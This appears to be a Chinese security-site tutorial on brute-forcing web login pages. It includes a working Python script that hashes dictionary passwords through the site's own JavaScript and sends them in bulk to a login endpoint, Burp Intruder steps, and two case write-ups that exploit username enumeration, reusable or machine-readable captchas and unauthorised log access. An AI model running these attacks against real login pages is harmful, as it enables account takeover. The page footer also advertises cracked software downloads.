ce安全网绿色资源分享

教程资讯|常用软件|安卓下载|下载排行|最近更新

软件
软件
文章
当前位置:首页网络安全网络安全文章 → Web渗透测试用户登录入口暴力穷举深入浅析

Web渗透测试用户登录入口暴力穷举深入浅析

时间:2018-06-16 06:59:21人气:作者:本站作者我要评论

0x01 前言

Web登录界面是网站前台进入后台的通道,针对登录管理界面,常见的web攻击如:SQL注入、XSS、弱口令、暴力猜解等。本文主要对web暴力猜解的思路做一个简单的分析,并结合漏洞实例进行阐述。

0x02 思路

在Web登录界面主要有三个要素:用户名、密码、验证码,最简单的思路:

1、获取用户名,常见的有登录错误提示、网站文章编辑落款、社工等

2、猜解密码,一个有效的字典

3、验证码识别或绕过,常见有验证码与用户名密码分离、验证码不能自动刷新可重复使用、验证码识别

按照HTTP传递数据的方式,大致分为两个类型:

类型一:明文传输

没有验证码、没有做登录失败处理的web应用,这个是最喜闻乐见的,只有用户名、密码登录,可以直接加载字典进行爆破,最常见的就是使用利用Burp Suite Intruder进行暴力猜解,Intruder支持多种爆破模式:单一字典爆破、多字段相同字典爆破、多字典位置对应爆破、聚合式爆破。

类型二:前端js加密处理

现在,不少Web应用在登录过程中会使用js对密码进行加密,然后在发送服务端,使用代理工具抓包获取到的密码就是加密后的密码,在一定程度上给我们爆破增加了些麻烦。以下针对js加密爆破的思路做一个分析。

0x03 js加密爆破

常见的js实现加密的方式有:md5、base64、shal,这里编写了一个简单的demo作为测试。

login.html

  1. <!DOCTYPE HTML>
  2. <html>
  3. <head>
  4. <meta charset="utf-8">
  5. <title>用户登录</title>
  6. <script type="text/ecmascript" src="md5.js"></script>
  7. <script>
  8. function checkInput() {
  9.     var password_input = document.getElementById('password');
  10.     var password_md5 = document.getElementById('password_md5');
  11.     // set password
  12.     password_md5.value =hex_md5(password_input.value);
  13.     return true;
  14. }
  15. </script>
  16. </head>
  17. <body>
  18. <form action="login.php" method="post" onsubmit="return checkInput()">
  19.     用户:<input type="text" id="username" name="username"> <br/>
  20.     密码:<input type="password" id="password"> <br/>
  21.     <input type="hidden" id="password_md5" name="password">
  22.     <input type="submit" value="提交" />
  23. </form>
  24. </body>
  25. </html>

提交表单,进行抓包,可以发现密码字段密码进行了加密处理

常见的js md5加密,处理方式有两种,其一是利用Intruder支持多种加密和编码,对密码字段进行加密,其二是编写Python脚本,熟悉加密算法的可以自己重写或者直接利用网站的js文件对密码字段进行加密。

3.1 Burp Suite Intruder

1、抓包发送到Intruder,标记相关参数,选择 第四种模式“Cluster bomb”

2、分别选择用户名字典和密码字典,在设置密码字典的时候,选择md5加密方式对密码字段进行加密处理

3、开始进行爆破,根据返回字段长度判断是否成功,成功获取用户名和密码字段的MD5值 admin:21232f297a57a5a743894a0e4a801fc3
Web渗透测试用户登录入口暴力穷举深入浅析

4、md5解密成功,获得用户名密码 admin/admin

3.2 PyExecJS

这边采用Python ExecJs来执行Js语句模拟前端对账号密码进行加密

准备:

pip install PyExecJS

phantomjs下载:phantomjs

编写Python脚本进行爆破:

  1. #! /usr/bin/env python
  2. # _*_  coding:utf-8 _*_
  3. import requests
  4. import threadpool
  5. from selenium import webdriver
  6. import execjs
  7. def getpass(str):
  8.     with open ('md5.js','r') as js:
  9.         source = js.read()
  10.         phantom = execjs.get('PhantomJS')
  11.         getpass = phantom.compile(source)
  12.         password = getpass.call('hex_md5',str)
  13.         return password
  14. def login(user,passwd):
  15.     url="http://127.0.0.1/login.php"
  16.     payload ={'username':user,'password':getpass(passwd)}
  17.     headers={'User-Agent':'Mozilla/5.0 (Windows NT 10.0; WOW64; rv:55.0) Gecko/20100101 Firefox/55.0'}
  18.     try:
  19.         response = requests.post(url,data=payload,headers=headers,timeout=5)
  20.         result=response.content
  21.         if result.count('fail')<1:
  22.             print '[success] ' +url+":"+user+':'+passwd
  23.     except:
  24.         pass
  25. def getLines(fileName):
  26.     list=[]
  27.     with open(fileName, 'r') as fd:
  28.         for line in fd.readlines():
  29.             line = line.strip()
  30.             if not len(line) or line.startswith('#'):
  31.                 continue
  32.             list.append(line)
  33.     return list
  34. if __name__ == '__main__':
  35.     username_list=getLines('user.dict')
  36.     password_list=getLines('pass.dict')
  37.     userlist = [([user,passwd],None) for user in username_list for passwd in password_list]
  38.     pool = threadpool.ThreadPool(20)
  39.     reqs = threadpool.makeRequests(login,userlist)
  40.     [pool.putRequest(req) for req in reqs]
  41.     pool.wait()

成功爆破用户账号密码
Web渗透测试用户登录入口暴力穷举深入浅析

0x04 漏洞实例

这里分享两个漏洞实例,在实战中,根据不同的漏洞场景,灵活地去运用暴力美学,简单,极具杀伤力。

漏洞实例一:未授权获取用户名+密码js加密+验证码重复利用
漏洞场景:网站首页包含一个登陆模块,包含用户名、密码、验证码,输入正常数据测试,发现密码采用js加密传输,验证码无法自动刷新,可重复使用。

1、扫描网站敏感文件,发现系统存在未授权访问, 通过url可直接访问系统后台日志管理模块,获取用户登录用户名等。

2、通过未授权获取到的用户名,加载密码字典,并对字典密码进行编码,暴力破解,成功爆破出用户tb的密码所对应的md5值为: 6846860684f05029abccc09a53cd66f1

3、md5破解,获得md5所对应的值为:a111111

TIPS:有时候遇到md5值解密不出来的时候,怎么办?我们知道,这个md5值所对应的的是我们密码字典里的某一个,可以编写Python脚本进行md5值的比对。

  1. Python脚本:
  2. !/usr/bin/env python
  3. -- coding: utf-8 --
  4. import hashlib
  5. src='6846860684f05029abccc09a53cd66f1'
  6. def get_line():
  7.     f = open('1.txt') #默认mode=‘r’
  8.     print 'start:'
  9.     while True:
  10.         line = f.readlinereadline().strip()
  11.         if len(line)==0:
  12.             print 'line 0'
  13.             break
  14.         m1 = hashlib.md5()
  15.         m1.update(line)
  16.         tmp =m1.hexdigest()
  17.         print line+"  :"+tmp
  18.         if tmp==src:
  19.             print src+u': md5对应的值为:'+line
  20.             break

Web渗透测试用户登录入口暴力穷举深入浅析

5、通过获取到的用户及破解出来的用户,成功登陆系统。

漏洞场景二:登录错误提示+验证码可识别

1、输入用户名admin,密码、验证码,提示您输入的用户名不存在,请重新输入。

2、利用Pkav HTTP Fuzzer 1.2 的验证码识别引擎,可自动识别出验证码

3、根据登录错误提示,通过加载用户名字典进行爆破,当提示“您输入的密码不正确,请重新输入”,这个时候我们获得了用户名为sysadmin,进一步加载密码字典进行爆破,对用户密码进行爆破。

相关文章

猜你喜欢

  • Ougishi绿色版下载 V4.00 中文版

    2020-06-19 / 561k

  • 谷歌地图下载助手睿智版破解下载 V9.5绿色版

    2020-06-19 / 32.7M

  • OfficeFIX中文破解版V6.110 注册版

    2020-06-19 / 26.8M

  • Plotagraph破解版V1.2.0 免费版 32/64位

    2020-06-19 / 31.5M

  • IP查详细地址工具下载 V1.1 官方免费版

    2020-06-19 / 408K

  • 内存扫把中文版下载V1.97绿色版

    2020-06-19 / 1.3M

网友评论

验证码:

请自觉遵守互联网相关政策法规,评论内容只代表网友观点,与本站立场无关!

最新评论

已有人参与,点击查看更多精彩评论

关于CE安全网 | 联系方式 | 发展历程 | 版权声明 | 下载帮助(?) | 广告联系 | 网站地图 | 友情链接

Copyright 2019-2029 cesafe.com 【CE安全网】 版权所有 蜀ICP备19039426号-2| 蜀ICP备19039426号-2

声明: 本站为非赢利性网站 不接受任何赞助和广告 所有软件和文章来自互联网 如有异议 请与本站联系 技术支持:ce安全网